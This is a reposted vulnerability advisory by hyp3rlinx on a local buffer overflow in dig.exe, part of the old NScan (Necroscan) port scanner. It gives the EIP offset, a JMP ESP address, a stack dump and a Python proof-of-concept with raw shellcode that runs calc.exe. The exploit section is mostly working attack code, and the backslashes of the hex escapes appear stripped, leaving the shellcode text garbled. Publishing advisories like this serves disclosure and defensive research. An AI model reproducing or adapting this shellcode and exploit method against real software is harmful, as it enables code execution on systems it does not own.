Necroscan < = v0.9.1 Buffer Overflow
Posted on 30 November -0001
<HTML><HEAD><TITLE>Necroscan <= v0.9.1 Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NECROSCAN-BUFFER-OVERFLOW.txt [+] ISR: ApparitionSec Vendor: =================== nscan.hypermart.net Product: ====================================== NECROSOFT NScan version <= v0.9.1 ver 0.666 build 13 circa 1999 NScan is one of the most fast and flexible portscanners for Windows. It is specially designed for scanning large networks and gathering related network/host information. It supports remote monitoring, usage of host and port lists, option profiles, speed and accuracy tuning, etc. It also contains a traceroute, dig and whois, which work together with scanner. Vulnerability Type: ================ Buffer Overflow Vulnerability Details: ===================== dig.exe is a component of Necroscan 'nscan.exe' that performs DNS lookups, this component has a trivial buffer overflow vulnerability. 1,001 bytes direct EIP overwrite our shellcode will be sitting at ESP register. Important we need x2Ex2E in the shellcode! WinExec(calc.exe) as once it is injected it gets converted to an unusable character and will fail to execute. However, we can bypass this by double padding our shellcode x2Ex2E instead of a single x2E now it will Execute! payload="A"*997+"RRRR" <===== EIP is here 1) use mona or findjmp.exe to get suitable JMP ESP register 2) run python script below to generate exploit payload 3) paste payload into DNS lookup 'Target' input field 4) Click 'TCP lookup' button 5) BOOM see calc.exe run! Stack dump... EAX 00000021 ECX 2D680000 EDX 01C9E8B8 EBX 756EFA00 kernel32.756EFA00 ESP 036BFEE0 ASCII "calc" EBP 756C2C51 kernel32.WinExec ESI 002D4A78 EDI 756EFA28 kernel32.756EFA28 EIP 036BFF58 C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 1 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFD7000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_NO_MORE_FILES (00000012) EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 Exploit code(s): =============== import struct #Author: hyp3rlinx #ISR: ApparitionSec #Site: hyp3rlinx.altervista.org #================================ #Necroscan nscan.exe Local Buffer Overflow POC #dig.exe is a component of Necroscan that does DNS lookups #this component has a trivial buffer overflow vulnerability. #payload="A"*1001 #EIP is here #paste generated exploit into DNS lookup 'Target' input field #Click 'TCP lookup' button #BOOM! #Important need .. x2Ex2E in the shellcode! (calc.exe) #Tested successfully Windows 7 SP1 #No suitable JMP register in the vulnerable program, they contain null bytes, have use !mona jmp -r esp #plugin or findjmp.exe. rp=struct.pack("<L", 0x75658BD5) #JMP ESP kernel32 # Modified 'calc.exe' shellcode Windows 7 SP1 for this exploit sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex2Ex65x78x65" #<=== x2Ex2E (Deal with "." character problem) "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") payload="A"*997+rp+"x90"*10+sc file=open("NECRO", "w") file.write(payload) file.close() print '=== Exploit payload created! ===' print '=== HYP3RLINX | APPARITIONsec ===' Exploitation Technique: ======================= Local Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. </BODY></HTML>